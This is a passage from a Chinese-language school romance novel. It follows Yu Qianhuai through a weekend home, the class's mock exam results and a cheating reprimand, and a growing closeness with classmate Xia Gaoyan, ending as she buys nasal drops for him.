好像软掉的薯条和化掉的冰淇淋,给人一种软塌塌的充满遗憾的感觉。
他落寞的神情一直映在她的脑海里。
挥散不去。
终于,虞浅怀掏出了手机,点开了微信的好友申请栏。
却发现他的申请已经消失了。
甚至连过期信息也看不见了。
她灵机一动,马上打开了31班的企鹅群,终于在里面找到了他的头像。
她直接通过群给他发了条消息——
“重新加我微信。”
并附上了自己的微信号。
发送完之后,她才意识到,她居然没有任何他的联系方式。
微信和手机号都被她删除。
扣扣更是在毕业的“大清理”后,都不剩下几个人。
不过八班的群她倒是没退,因为姜自珍在里面。
这个待她如同母亲一般的人,她于她有愧。
“乘客您好,四季华庭站已到达,请下车的乘客从后门依次下车,上车的乘客您好,请主动刷卡或投币,请往车厢里面走……”
还没到他的回复,车已经到站。
虞浅怀收起手机和思绪,准备下车。
车窗玻璃一直朝前滑动,她看到了父亲那张满脸胡茬的脸。
“爸!”
她欢快地朝外面挥了挥手。
12. 她想
下车后,虞父接过她手里的大包小包,两人一起往华亭小区走。
虞浅怀故意抱怨。
“哟,我还以为您不会来呢,我钥匙都准备好了。”
她把套在手指上的钥匙圈转了两下,钥匙碰撞发出清脆的声音。
虞父干咳两声道。
“我家小坏首次住校回家,那肯定得隆重迎接啊!再说了,我不来,你拿这么多东西,多不方便啊?”
虞浅怀表情有些不屑。
“啧啧,我都习惯了好吧。”
虞父忽然想起上次他和她妈都没空,她一个人带着一堆行李去报道的事。
马上补充道。
“既然有空,那老爸肯定要来,如果实在没空的话那也只能辛苦一下你了呀……”
说完凑过去憨笑了两声。
虞浅怀嫌弃地推开了他。
两人一起上了电梯。
3单元8-1,绿色大门贴了一个福字的就是她家。
虞浅怀走在前面用钥匙开了门。
家里一片漆黑,阳台那边的窗户透出路灯的光芒。
“妈妈还没回来吗?”
虞浅怀摸黑找自己的拖鞋。
虞父把东西往玄关处一放,顺手开了灯。
“你不是不知道,你妈是大忙人。”
虞浅怀撇了撇嘴。
虽然说已经习惯了,但还是有一点失望。
这两天周末,正是店里生意好的时候,估计明天她也不怎么能见到她。
开完灯后,虞父继续提起东西往里走,问她。
“给你放卧室吗?”
“嗯,好。”
她家客厅不算大,沙发还被一堆样品占掉一大半,只有看电视的那个位置能坐人。
这房子是早年买的,那时候虞家不太富裕。
有这么一套带电梯、环境幽静的房子已经是梦中情房了。
虞浅怀看见桌上放着一大堆礼盒,其中保健品居多。
虞父放完东西出来,见她垂头打量,解释道。
“别看了,都是你赵姨送的。”
听见这个名字,她顿时“哦”了一声,然后放下了盒子。
赵姨这人之前还挺好的——直到她有意撮合自己和她那个大她八岁好吃懒做的儿子。
因为客厅小,稍微放点什么东西都拥挤不堪,目前茶几也有被全面占领的趋势。
其实家里已经在城北市区购置了一套130平的新房。
如果不是因为虞浅怀突然决定复读,现在可能已经搬过去了。
虽然她现在住校,但考虑到她周末和寒假会回家,虞母还是暂缓了搬家的计划。
她现在把那边卧室弄了个简易床,偶尔太忙就在那边歇息一下。
虞浅怀把手机充上电,准备去洗个澡。
走之前看了下企鹅,夏高严还没回她。
……
这人是不是从来不登扣扣啊?
**
洗完澡后,她收拾了一会拿回去的东西,分门别类放到柜子里去。
搞完后已经困得不行,于是爬上她的大床睡了过去。
23:20左右,虞母偷偷推门进来,见她已经睡着了。
在黑暗中叹了口气,给她掖了掖被子。
一直到第二天早上,她才收到了夏高严的好友申请。
“叮咚”的提示音让她在朦胧中清醒了几分。
虞浅怀揉揉眼睛,翻身拿过床头柜上的手机,点开了他的申请,这次他没附言了。
她点击“接受”。
与此同时,门外响起虞母暴躁的敲门声。
“还没起床吗?怎么比在家里还起得晚?!”
虞父在旁边小声说。
“你就别催她了,睡得晚肯定是在家休息得更好,就学校那条件,能好到哪里去……”
“你就惯着她吧,条件不好为什么又非要跑去住校?都是她自找的!”
虞浅怀无奈地应了一声。
“好啦好啦!我在穿衣服了,马上出来。”
穿好衣服一推开门,就看见虞母叉着腰睨她一眼,脸上的眼袋似乎比往日更重。
虞母是个多面派,对客人永远是一副笑脸,但对她和她爸就难说了,经常拿眼瞪他俩。
她以前特别庆幸自己没有遗传母亲的眼袋,但现在心里却有些不是滋味。
如果可以的话,她希望母亲的眼袋不要再加重了。
“快来吃早饭,我要去店里了,整天磨磨唧唧!”
虞浅怀马上朝餐桌走了过去,一点起床气也不敢有。
她忽然闻道一股包子的香气,瞬间三步并作两步蹦到餐桌前。
“哇!和记灌汤包!”
和记灌汤包是虞浅怀最喜欢的早餐,他家汤包.皮薄汁鲜,每天早上都能排起长队。
但因为离四季华亭较远,只能偶尔过去一饱口福。
她惊喜地抬头看向板着脸拉凳子坐下的母亲。
“谢谢老妈!老妈我爱你。”
桌上除了汤包,还有羊肉米线和豆浆油条。
自从服装店生意好起来,家里在吃食方便愈渐大方,只要出去吃饭,都是随便点。
如果吃不完……吃不完就老爸解决!
虞母白了她一眼,夹起一个汤包。
“别谢我,谢你爸吧。”
虞父从米线里抬起头来。
“你妈威逼利诱我一大早去买的。”
“哈哈哈哈,好吧,谢谢老爸。”
“快吃,面皮都坨了……”
餐桌上徜徉着虞浅怀和虞父的欢声笑语,还有虞母的傲娇式谴责。
吃完饭之后,虞母去店里,虞父在家里给新款衣服拍照,方便在朋友圈宣传。
虞浅怀则窝在沙发唯一能坐的角落,打开了夏高严的对话框。
对方加完她之后,居然什么都没发?
也不问她为什么又同意加好友了,啧。
她觉得无聊,打开他朋友圈观摩。
发现他的朋友圈和他人一样无趣,只有转发的集体活动。
翻了一会儿,她退了出去。
却发现夏高严给她发了一条信息过来。
夏:不好意思,昨天没帮你拿东西。
哈?什么鬼?
她都忘了好不好。
虞浅怀扶额,给他回复过去。
浅坏:没事啊,又不重。
夏:好。
浅坏:……
夏高严又不回了。
唉,感觉暑假那会说不定是他话最多的时候了。
她突然有点后悔没和他多聊聊。
**
难得没有作业的一个周末,下午的时候,虞浅怀去了趟理发店做护理。
因为暑假被她频繁染了几次发,她现在的发质不太好,但一时半会又长不出来新头发,所以只能做做护理了。
用心险恶的Tony居然还想诱惑她继续染浅色。
一个劲说黑色掩盖了她的美貌,亚麻色才是超级适合她的颜色,染出来肯定惊艳全场云云。
她白了他一眼。
“哥哥,我要上学,而且我是重点班的学生。”
31班的老师一大半都兼任了重点班的教学,怎么不算重点班呢?
Tony惊讶地看了她一眼。
“哇
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塞美女,看不出来哦!”
虞浅怀直摇头,真是个低情商的Tony。
不过她确实一直都是个异类。
尖子班的刺儿头,有一个算一个,她称第二,无人敢称第一。
逃课谈恋爱顶撞老师样样不落。
偏偏成绩还不错,甚至物理竞赛还能代表学校拿奖。
她是老师眼里不服管教的异类,但同样也是不忍苛责的存在。
要说她做的事有多过分,倒也没有。
无非就是不太符合主流好学生的规则,比较随心所欲,喜欢按自己的想法行事。
不过那都是过去式了。
高考的落败狠狠击碎了她的傲气,现在她只想把锋芒都藏起来。
在集体里,还是伪装得合群一点比较好。
做完护理出来已经下午5点多了,她在家收拾好东西,准备返校。
却突然收到企鹅群里老吕艾特全体的消息。
吕永昌:@全体成员各位同学今晚务必准时到校,晚自习前公布摸底考试成绩,我要在班上讲两句。
此消息一出,班里顿时炸开了锅。
每个人都抓住了“讲两句”这个关键点。
除了一片整齐的“收到”,有人在群里七嘴八舌地问怎么了。
吕永昌:@全体成员都安静!准时到就好。
此后不再回复。
虞浅怀看了眼,没太往心里去。
难道是大家考太差了吗?
她觉得自己再差也不可能比高考差,所以不是很在意。
两个牛津布收纳袋里装上了秋冬衣服和被子,还被塞了不少吃的用的。
包裹比回来的时候更重,虞父把她送到了车站。
下午6点,虞浅怀准时抵达了学校。
因为想念校门口的炒粉炒面了,所以她没在家里吃饭。
吃完一份加火腿鸡蛋和青菜的炒粉后,她拎着大包小包回了宿舍。
去到教室的时候,班上已经有人在议论考试的事了。
好像是从课代表那边传出了一些消息,说是这次有人作弊,惹得老吕很生气。
她顿时想起了彭鑫和马星河。
看来这两人只能自求多福了。
果然,不一会儿,老吕就黑着脸抵达了教室,并把成绩单贴到了黑板旁边的墙上。
下面的人一窝蜂挤上去看成绩。
金铭瑟缩在座位上一动不动,她怕得要命,一点不敢上去。
“浅怀,你要去看看吗?”
牛欣转过头来问她。
虞浅怀却突然怂了。
很奇怪,明明一下午都不紧张。
这会心脏却突突直跳。
虞浅怀在坐在座位上发愣,手机突然在桌子里震动了两声。
她拿出来一看,夏高严居然给她发了消息。
她回头朝对方的座位看过去,男生却低着头,没有看她。
她点进去,浏览信息内容。
夏:你让彭鑫和马星河抄你卷子了吗?
浅坏:呃,我没特意给他们看答案,但也没捂着卷子不让他们抄。
夏:……
浅坏:怎么了?
夏:下次别理他们了。
浅坏:……
浅坏:好吧。
这下她真有点紧张了,一会老吕该不会在班上批评她吧?
她本想在吕永昌那里留个好印象的。
虞浅怀有一点点不安,片刻后,牛欣已经去看了成绩回来,也顺便看了她的。
对方两眼放光地朝她大呼。
“浅怀!你也考得太好了吧!考了587分,在班上排第四名!”
13. 她不
这个分数让虞浅怀心里涌起一股久违的暖意。
这是她失去已久的,平淡又简单的幸福。
按部就班地学习考试的感觉好像还不错,她第一次体会到这种踏实。
由于牛欣的声音太大,周围人纷纷朝她看了过来。
那些目光里有讶异,有钦佩,也有惊疑。
但她全然不在乎。
牛欣继续掰指头数数。
“夏高严还是第一,祁韦第二,刘畅第三。”
听到这个名字,她不禁在心里咯噔一下。
她这个室友,成绩好像还不错呢。
虞浅怀想起自己在寝室给学妹讲题的时候,刘畅都一言不发地做自己的事,很是深藏不露。
不一会儿,虞浅怀考了第四名的消息已经在班里传开。
震惊的人有不少,不过基本是对比了她高考成绩之后的正常反应。
也有质疑她作弊的,甚至认为她就是一会儿吕永昌要重点批斗的对象。
周红就是其中之一。
看到虞浅怀排在第四位的时候,她简直不敢相信自己的眼睛。
自己的高考排名明明还在她前面,这次居然就被狠狠甩了几十名,她连个车尾气都追不上。
因为虞浅怀偏科的传闻人尽皆知,她一直打心眼里觉得她物理数学再好,受其他科目的拖累,最终成绩肯定不会太好看。
甚至她其实是能接受虞浅怀比她考得好的。
但好这么多,实在是难以置信。
她感觉自己说过的那些冷嘲热讽成了一个个耳光,全打在自己脸上。
于是下意识就想要否定。
不可能。
绝对不可能。
她一定是作弊了!
周红有些不服气地和温念吐槽。
“她不会是作弊了吧?480到580,这也太夸张了。”
温念也觉得震惊,不过她对于作弊这个说法还是不太认可。
别的不说,谁会傻到让自己作弊考到前几名啊?
“唔,确实很意外,但还是不要轻易下这种结论吧……”
“反正不是我一个人这么觉得,等会看吕班怎么说吧。”
周红耸了耸肩,温念没再说话,她也想等等看到底是什么结果。
课前几分钟的时候。
吕永昌再次回到教室,并走上了讲台。
还有2分钟上自习。
吕永昌用黑板擦敲了敲桌子。
教室顿时安静下来。
他也不说话,只用那双锐利的眼睛扫视全场。
那几个作弊的人惶恐不安、人人自危,头皮上已经起了一层鸡皮疙瘩。
班主任开口训人还好,最可怕的是这样一声不吭地凝视着所有人。
教室里落针可闻,时钟滴答地响着,好似催命符一般。
“叮——”
晚自习的铃声响起。
终于,吕永昌声色俱厉地开了口。
“我是真没想到啊!一个摸底考试,居然还有人铆足了劲地作弊!”
“我一时竟分不清你们到底是为自己学的,还是为了别人学的,都复读了还把心思花在邪门歪道,有意思吗?”
“有几个人,自己平时能考多少分心里没点数?”
听见这话,周红歪了歪唇角,她觉得肯定是在点虞浅怀了。
没想到下一秒,吕永昌却说。
“物理数学选择题全对,大题错一大片,靠写解和抄公式得分,我都替你尴尬!人虞浅怀的数理成绩是你比得了的吗?”
周红扬起的嘴角立刻放了下来,脸色尴尬极了。
紧接着,吕永昌话锋一转。
“对了,不知道是谁在班里传播会根据成绩调座的谣言?虽然我是有一些想法,但还没有确定,作弊的某位同学跟我说是为了座位才作弊的,笑话!以后这种事情不要听风就是雨!也别给自己找借口!就算按成绩调座,也会给大家分配适合的座位,更何况我们还有轮座制度……还会……”
这一席话说下来,温念的脸红一阵白一阵,后面的话她已经听不进去了。
那句“传播谣言”把她吓得够呛。
她记得这事她明明只在宿舍里说过,而且有强调让她们别说出去的。
周红在旁边恨恨道。
“是她!肯定是她!她说出去的。”
温念转头看她,眼神疑惑。
“你忘了吗?小云去拿烧烤那天晚上,虞浅怀和我们一起回宿舍,她问你是不是要按成绩排座,你告诉她了,然后她一直没说话。”
温念想了想,好像是有这么回事。
可是当时自己似乎也没跟人强调不能说出去,所以归根结底还是自己的锅。
她叹了口气道。
“没事,吕老师也没说什么,下次注意就是了,而且也不一定是她。”
“我看就是她!”
温念也懒得和她争。
吕永昌慷慨陈词之后,在台上做总结。
“念在这次摸底考试不是正式考试,再加上部分同学悔改态度较好,所以决定暂不过度追究,作弊的人写2000字检讨交给我就行了,这次就不在班上公开点名了。”
他最后强调。
“如有下次,必定重罚!”
马星河他们虚惊一场,温念也松了口气。
这事就算揭过去了。
下课后,课代表们去办公室拿卷子。
因为周红急于拿到自己的那份,所以就跟着温念一起去了办公室。
同办公室的数学课代表已经拿完走人,夏高严被刘明留下来帮忙从理综试卷里录入物理成绩。
虞浅怀的那份被他放到一边。
她是班里的物理最高分,也是理综第三。
理综第一还是夏高严,毕竟虞浅怀的化学和生物还有待提高。
夏高严修长的手指哒哒哒地敲击着键盘,飞快地输入名字和分数。
屏幕的亮光温柔地洒在他的脸颊上,眉宇之间透出一股温润的气质。
温念进去的时候,办公室里老师都不在,两人下意识朝夏高严看了过去。
周红一看还可以拿到理综试卷,于是给温念说了声。
“念念,我先去拿一下理综的。”
“嗯,你去吧,我帮你找英语卷子。”
“好的,谢谢。”
交流完毕,周红立刻来到刘明的办公桌旁询问。
“物科,我可以把自己的卷子先拿走吗?”
夏高严抬头看了她一眼,淡淡地说道。
“那堆里面如果能找到的话,你就拿走吧,如果没有,那就要等一会。”
他指了指已经录入完毕的那一叠。
周红立刻点点头。
“好的,谢谢物科!”
然后开始在旁边翻找起来。
过
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程中,她瞄了一眼虞浅怀的理综试卷,在旁边阴阳怪气地说了句。
“哇,好高的分数。要是我考得这么好,我才不舍得给别人抄呢!”
夏高严眉头轻皱了下,没有回应她的话。
周红有点尴尬,但仍不死心地发问。
“学霸,如果是你,你会给别人抄吗?”
夏高严沉思片刻,义正言辞道。
“做错事的应该是抄袭者,就不要去讨论被抄袭的人了吧。”
周红顿时吃了个瘪,她撇撇嘴不再说话。
听到夏高严第一时间维护虞浅怀,她有些不爽。
但转念一想,夏高严成绩这么好,说不定也被抄过,他应该是感同身受了。
于是她彻底放弃这个话题,正好温念也找到了她的试卷。
然而她的理综卷子并不在已录入的那一叠里面。
于是温念走过来等她,两人在旁边看夏高严工作。
不一会儿,周红在屏幕上找到了温念的分数。
“念念,你物理考了78分!”
温念顿时有些窘迫,她挠挠头道。
“啊,考得好差。”
“哪里差了?!我平时才60几,这次还不知道多少分呢!好紧张好紧张。”
周红是和自己比,但温念却是和成绩好的尤其是理科好的人比。
比如此刻屏幕前坐着的夏高严。
她打量着夏高严清秀的侧脸,并想起了他这次的总分——631。
是她无法企及的分数。
周红顺着她的目光去问夏高严。
“物科,你考了多少分呀?”
夏高严抬了下眼皮,懒懒道。
“102。”
“哇!这么好!”
男生无奈地笑了下,似是不太认同她的话。
周红不理会,继续拍马屁。
“这次物理多难呀,这个分数已经很强了!”
夏高严摇摇头。
“比第一名差太多了。”
“第一名是谁?”
一问出这句话周红就后悔了,她刚刚脑子没转过来,误以为他说的是总分第一名。
夏高严垂下眼睫,轻声说道。
“是虞浅怀。”
说完之后,他微不可察地勾了勾唇角。
虽然物理成绩追不上她,但心里还是很为她骄傲的。
周红立刻“哦哦哦”了几声,迅速停止了话题,正好夏高严也录到了她的试卷。
物理那栏,一个鲜红的“49”跃然纸上……
周红顿时脑子一炸,觉得丢脸极了,简直想逃离地球。
知道自己差,但没想到这么差。
她有点崩溃了。
夏高严面无表情地录入了她的分数。
周红拿着卷子,马不停蹄地拉着温念和夏高严道了别。
“谢谢物科!那我们先走啦!”
“嗯。”
过了一会儿,夏高严全部录完,也正好快上课了。
他点击保存,然后收起所有的试卷和答题卡等,准备去班上发下去。
虞浅怀那份被他放在了最上面。
预备铃响了之后,走廊逐渐安静。
夏高严不紧不慢地走着,就在马上就要抵达门口的时候。
一个女孩冒冒失失地从对面冲过来,险些和他撞个满怀。
定睛一看,正是虞浅怀。
14. 她想
她下课嘻嘻哈哈疯玩,忘了时间。
极限冲刺上完厕所后,没想到路上碰到了巡逻的年级主任,于是想要赶在正式铃声响起之前冲进教室。
虞浅怀猛地跑过来,像只横冲直撞的小兽,身体因急刹车而重心不稳。
夏高严赶紧扶住她的手臂,避免两人真的撞到。
女孩的发梢扫过他的手背,身上的淡香也随之袭来,一丝痒意撩过他的心尖。
他抿了抿唇,轻声叮嘱。
“慢点。”
见来人是他,她本能反应的那句“不好意思”也说得有些扭捏了。
刚刚纸张摩擦的声音让她注意到夏高严拿着的东西。
她这才发现他手里的那叠卷子被她撞得皱起了边来。
虞浅怀赶紧把手覆到卷面上,不停来回抚平。
“不好意思啊!”
不少卷子遭了殃,她有点抱歉。
“没事,我来吧。”
男生声音清冽。
他伸出大拇指,用力捏住皱起的上边,反方向折回去。
翘起的边角终于平了下去。
虞浅怀垂头一看,最上面这张不正好是她的卷子吗?
她嘴角微微翘起,惊喜地嚷了句。
“哎呀,是我的!”
小心思被戳破,这下轮到夏高严不好意思了,他含混地说道。
“嗯……一会要发下去。”
虞浅怀抬头看他,眼里亮晶晶的。
男生迅速移开了目光,耳朵浮起一层红晕,她有些忍俊不禁。
“那你现在给我呗?”
夏高严反应过来道。
“哦……好,好的。”
修长的手指轻轻捻起她的卷子,然后递了过去。
虞浅怀接过来,浏览卷面上的分数,先他一步进了教室。
夏高严这才转身迈步,走到讲台上开始发卷子。
虞浅怀回到座位。
金铭这会儿已经知道了成绩,其实和她高考时相差不大,是她自己过度焦虑了,所以心情比先前轻松一些。
她不再自怨自艾,开始往错题本上写这次数学卷子的错题。
老师还没讲,先把题干写上。
虞浅怀看了一眼自己的化学和生物,除了本就不会的题,还有些是粗心导致的,包括物理丢的那3分也是。
但她又提不起抄错题的兴趣,于是开始把玩手里的一只印章,在草稿本上一一印下图案。
玩印章是她独特的解压方式。
她喜欢在笔记的结束语后面印下一个小小的图案。
那天给夏高严留下的字条落款后面也有。
金铭看见了,凑过来道。
“诶,这不是我水杯上的小红狸吗?”
虞浅怀点头:“可不是嘛,开学那会我还想问你来着。”
她想起那天早上,就在她想要张口询问金铭水杯图案的时候,突然听见了教室后方传来凳子拖地的声音。
夏高严就那么猝不及防地出现在那里。
一转眼。
他都来几个星期了。
有些令人唏嘘。
金铭开口问她。
“这个印章怎么来的呀?”
“买那个葡特泡泡糖,买满十条送一只。”
“哇,你买那么多?”
“嗯,但我还没拿到那个特殊款,就是带身子的小红狸。”
说着她往纸上又印下了一个。
是小红狸的正面肖像图,只有头部。
她想要那款带全身的,那个柄图很精致。
虞浅怀突然痛心疾首地吐槽。
“唉,我太非了!根本开不出来,那糖我都吃得快吐了,甜得要命,一点也不好吃……”
“没事的没事的,下次一定!”
金铭在座位上安慰她,突然一张卷子盖到她的笔袋上,是她的理综试卷。
夏高严发完卷子,扫了一眼旁边虞浅怀草稿本上的狐狸头图案,默不作声地走开了。
**
因为昨天的座位风波,调座计划暂时搁浅。
吕永昌宣布从本周开始,在现有基础上实行前后左右的轮座制度。
所以夏高严他们这组从最后一排调到了第一排。
搬完桌椅后,马星河把桌缝和两边的同桌对齐。
对齐右边的时候,他突然发现夏高严的桌兜里……居然塞满了泡泡糖?
大概有三四十条。
……
“严哥,你怎么突然买这么多泡泡糖啊?”
他有点不理解,夏高严很少吃零食。
夏高严若无其事地拿了出来。
“你们拿去分吧。”
“哎,那,那谢谢啊!”
马星河抓了一把,大概有十来条,可能是觉得自己拿太多,又拿出一条塞进夏高严的笔筒里。
夏高严直接把剩下的全部掏出来给他。
“我买多了,你全拿走吧。”
“哦,那行!”
马星河看了一眼,虽不太明白个中缘由,但他乐意来当这个散财小弟。
大课间的时候,他朝后面清了清嗓子道。
“咳咳,严哥请大家吃泡泡糖,来来来,本大组成员人人有份!”
“哇,这么好?”
“我也要我也要!”
“不许多拿啊!一人一个。”
马星河把泡泡糖每排三条地分了下去。
他已经计算好了,他们这三组全部发完刚刚好。
卢云和马星河本隔着一条护城河那么远,调完座之后现在只隔了两排。
温念和周红正围着卢云聊天。
泡泡糖发到卢云的时候,周红惊喜道。
“念念,这不是你最喜欢的葡特泡泡糖吗?”
她想帮温念拿一个,于是抬头向马星河索要。
“我们也可以拿的吧?”
没想到马星河摇摇头,大公无私道。
“不行,你不是我们这组的。本次福利仅限组内,组外成员不得僭越。”
“切,小气!念念最喜欢吃这个了。”
卢云见状,马上把自己的贡献出来。
“多大点事,吃我的呀!”
温念赶紧摆摆手。
“不用不用,我自己买就好了。”
卢云执意要给,温念抵死不收。
马星河见女孩子们让来让去,给周红指了个路。
“不然你去问问严哥那还有没有吧,这是他给我的,我这都定好了,也不好变了呀。”
周红和温念对视一眼。
“走!”
温念还没反应过来,就被拉到了夏高严桌前。
男生正在座位上慢条斯理地喝水。
周红凑过去大声问道。
“学霸,那个葡特的泡泡糖还有吗?可以给我们一个吗?那是念念的最爱。”
夏高严拧上盖子,低头往桌子里面瞧了下,摇头道。
“没了。”
周红看向他的桌子,立刻眼尖地发现笔筒里还有一条。
“这不是还有一条吗?!”
那是马星河刚刚塞进来的。
他都忘了。
夏高严看了眼,正要开口让她拿走。
温念马上阻止道。
“不用不用,你自己留着吧。”
她马上和夏高严道歉。
“不好意思啊,打扰你了。”
那条糖看上去显然是人家给自己留的,怎么好意思去要呢。
她本就脸皮薄,这会儿面颊已经开
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始发热。
周红有些失望,但目光还恋恋不舍。
夏高严嘴唇动了动,果断把糖从笔筒里拿了出来。
“拿去吧。”
男生好看的手举着那条紫绿包装的泡泡糖。
温念愣了一瞬,鬼使神差地接了过来。
周红好像她的外置喇叭一样,立刻帮她道谢。
“谢谢啊大学霸!学霸你真好,祝你科科第一名!”
然后把愣神的温念拉走了。
回去的路上,周红一个劲朝温念挤眼。
“啧啧,学霸对你可真好!唯一剩下的都给你了!你还不让我磕你俩,唉,你就是太不开窍了……”
温念心里小鹿乱撞,她抬手抚了抚自己滚烫的脸。
**
夏高严在座位上回想刚刚那句祝福。
科科第一名?
至少物理就很难。
他看了一眼虞浅怀的座位。
空空荡荡。
这几节课的课间,她都不在座位上。
他把手伸进裤兜,拿出那个特殊款印章,轻轻摩挲了一下。
又过了几分钟。
虞浅怀终于回来了。
夏高严立刻从座位上站了起来。
女孩在座位上照镜子,摆弄她的头发。
他轻轻朝她走了过去。
当虞浅怀终于找到一根褪色的头发并拔下来的时候,夏高严出现在了她的面前。
她肩头一僵,抬头看他。
只见对方掏出了一个小红狸印章摆在了她的桌上。
虞浅怀难以置信地看了好几遍,正是她吃糖吃吐了都得不到的特殊款。
她顿时气血上涌,发出了一声非洲人的怒吼。
“我靠,你好欧!!!”
夏高严额角一扯,抿了抿唇角。
虞浅怀一把鼻涕一把泪地倾诉。
“夏高严,你也太欧了吧?!你知不知道我买这个花了多少钱?而且这个太坑了,都没有保底的!呜呜呜,我恨你,你怎么能这么欧?!”
女孩叽里呱啦说了一大堆抽卡血泪史。
夏高严扶额,宽慰她道。
“以后你不用抽了,这个送你了。”
听到这句话,虞浅怀才意识到原来夏高严不是来晒欧的。
哇,什么?
他居然要送给她?
她眨眨眼睛道。
“真的吗?”
幸福来得太突然,她有点不敢相信。
“嗯,真的。”
夏高严温柔地看着她。
虞浅怀想道谢,但那句话却卡在喉咙里,好像怎么也说不出来。
人就是这样,收到太珍贵的东西,反而不知道该怎么表达谢意了。
正当她犹豫的时候,夏高严已经转身离开了,因为马上就要上课了。
金铭看了看她手里的印章,在旁边问她。
“咦,是我的错觉吗?怎么感觉他对你还挺好的,你俩关系变好了吗?”
虞浅怀马上否认。
“没有变好,是你的错觉。”
金铭表示不解。
“可是,可是他送你东西诶!而且你不是说这个很难拿吗?”
虞浅怀挠挠脖子,敷衍道。
“唔,可能因为我上次帮了他一个忙吧。”
金铭恍然大悟。
“哦,这样啊。”
她这属于是无中生“忙”了,满嘴跑火车。
虞浅怀突然有些愧疚,于是在心里细细琢磨。
看有没有什么忙真的可以帮的,也算是回应他这份“大礼”。
她拿出手机,翻了翻聊天记录,忽然记起一个东西来。
虞浅怀勾勾唇角。
那东西应该再合适不过了。
15. 她不
说干就干。
虞浅怀是个实干派,她不想等到周末。
晚自习的时候,她早早提前做完了作业,借着上厕所的机会去侦查了下办公室。
确认吕永昌不在之后,便开始了她的逃课计划。
她是老手了。
先谎称自己肚子疼,要去医务室拿药。
然后溜到学校某侧门旁边的小卖部,跟在一群去小卖部后院抽烟的老油条后面进去。
再神不知鬼不觉地从后院翻墙出校。
该说不说,当年她就是在这里和宋佑斯看对了眼。
那会她看到站在垃圾桶旁抽烟的宋佑斯,心里只有一个念头——真他爹的帅。
今天晚上虞浅怀如法炮制了这一整套流程,只把去医务室的借口改成了回寝室。
当她踩上墙边的大号垃圾桶,再从墙上跳下来时。
她感受到了久违的,放风般的自由。
晚风从她的发缝间溜过,头上的点点星光在云层里若隐若现,好像调皮的眼睛。
虞浅怀像以前那样,顶着夜色朝学校后门的商业街走去。
“哟,又出来啦?还是来碗酸辣粉吗同学?”
途经酸辣粉的摊位,老板热情地招呼她。
一瞬间她有些恍惚。
仿佛距离上次翻墙已经隔了一个世纪那么久远。
物是人非。
只有夏高严还倔强地停留在她的生命里。
虞浅怀摆摆手。
“不了,今天不吃。”
她这次有要事在身,可不是逃课出来吃东西的。
说起来,这好像是她头一回不是为了自己而逃课。
老板诧异地看了她一眼,嘴里嘟哝几句,低头忙活去了。
虞浅怀看一眼手机上的时间,稍稍加快了脚步。
她不太清楚那个店的关门时间,但肯定是越早到越好,早去也能早回。
**
夏高严坐在座位上,翻开了自己的笔记本。
上面贴了一张黄色便签,便签上规规矩矩地写了一排成绩。
从语文到生物,一共6门。
不是他的,是虞浅怀的。
是虞浅怀这次摸底考试的成绩。
他把英语旁边那个“91”用红笔打了个圈。
她的英语成绩是所有科目里面最差的。
夏高严早就在心里默默计划如何帮她提升英语。
背单词是不适合她的,她没有耐心。
那么现在比较好入手的是直接去看历年的高考卷或者模拟题。
优先识记上面的重点词汇。
高考卷、模拟题这类东西反正到后期每个人都会需要。
他索性早点准备,也早点把她提溜上路。
他把自己手上有的所有模拟题都拿了出来,一一翻看和甄选。
**
走了一会儿,虞浅怀终于来到商业街那家东泰大药房前面。
那是学校附近最大的一家药房,好像一些进口药只有那里能拿到货。
她要买的是一只德产的鼻炎滴剂,据说特别有效。
她也是之前在某个生日宴上听一个亲戚提过,后来那人把名字发到了那个宴请会的群里。
还好那群她忘了退,刚刚在里面找到了药名。
“你好,请问有那个……那个G开头的鼻炎药吗?”
她英语不好,就记得G开头了。
卖药的年轻店员抬头看了她一眼。
“GNir滴剂是吧?那个没了,只有国产的。”
虞浅怀有些失望,她向店员问道。
“那个以后还会进货吗?”
店员看她一眼道。
“你要是前几天来的话还有,最近换季,犯鼻炎的人可多了,那是高端药,本来就进得不多,下批货估计得等到下个月了,你要不看看国产这几个牌子吧?”
虞浅怀没有做声。
国产的鼻炎喷雾,酒店那天她好像在夏高严那里见过。
对于常年鼻炎的人来说,这种东西属于耗材,一般都舍不得用贵的。
“算啦,我去别的地方看看吧。”
店员揣了揣手,有些不屑。
“别的地方更不可能有了。”
虞浅怀朝货架上看了一眼,还是准备离开。
这时一个稍微年长的店员突然走了过来。
“GN滴剂,不是还有几支吗?”
“可是那些已经被上次那位阿姨预定了吧?”
“嗐没事,反正我也没给她说个准数,5支和4支都一样,要不拿一支出来卖给这小姑娘吧。”
年轻店员想了想道。
“那也行,不过你得等我一下,我要去仓库那边取。”
虞浅怀点点头。
“嗯嗯,好的,谢谢。”
总算能买到了,心里有点小开心。
店员阿姨指了指那边的椅子。
“姑娘你去那边坐吧,可以给自己倒杯养生茶喝。”
虞浅怀感激道。
“好的,谢谢阿姨。”
**
夏高严翻完所有模拟题之后,发现少了一张某知名教研机构所出的前年的试卷。
他思忖片刻,决定去英语杨蓉老师那里问问,老师肯定比他收集得更全。
走进办公室之后,却没看见杨老师在座位上。
他惯性使然地去她的办公桌那边逛了一圈,也没有什么收获。
正想打道回府,有人朝这边走了过来。
温念抱着练习册过来交作业。
“嗨。”
夏高严闻声抬头,“嗯”了一声,算是和她打过招呼。
如果放在以前,温念不会有什么多余的动作,但今晚感觉有些不一样。
也许是那条泡泡糖给了她勇气,也许周红的话最终还是落入了她的耳中。
放完练习册后,她主动开口道。
“你是来找杨老师的吗?”
“嗯,对的。”
“唔,今晚杨老师不在,你有什么事吗?我可以帮你转达。”
温念不动声色地绞了绞手指,尽量平复起伏的心跳。
虽然不指望她能帮忙,但夏高严还是把自己的诉求说了出来。
“我想找一下扬帆前年出的模拟卷。”
听到这个要求,温念有些惊讶。
不愧是学霸,居然这么早就开始做扬帆的卷子了。
“哦,那个我知道在哪儿。”
之前她帮杨老师整理过教学资料,试卷一类基本都在办公桌旁边的储物柜里。
温念走到储物柜旁边。
“不过要稍微等一会儿。”
夏高严点点头,感激地说了句。
“可以。那谢谢你了。”
温念趁着找卷子的机会,试探性地和他聊天。
她发现夏高严的话很少,只在英语相关的问题上稍显热情,甚至会主动提问。
但她觉得奇怪的是,对方居然会问她一些比较基础的问题。
譬如他问她“觉得最有效的单词记忆方法”,还有“如何短时间内快速攻克语法难点”。
不过她还是一一给出了自己的建议。
交流完英语之后,可
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能是觉得稍微熟稔了一些,温念也礼尚往来地问了一些理科学习相关的问题。
办公室里老师不多,大多去守自习了。
两人你一言我一语地小声交流着。
**
虞浅怀在东泰大药房等了好一会才拿到GNir滴剂。
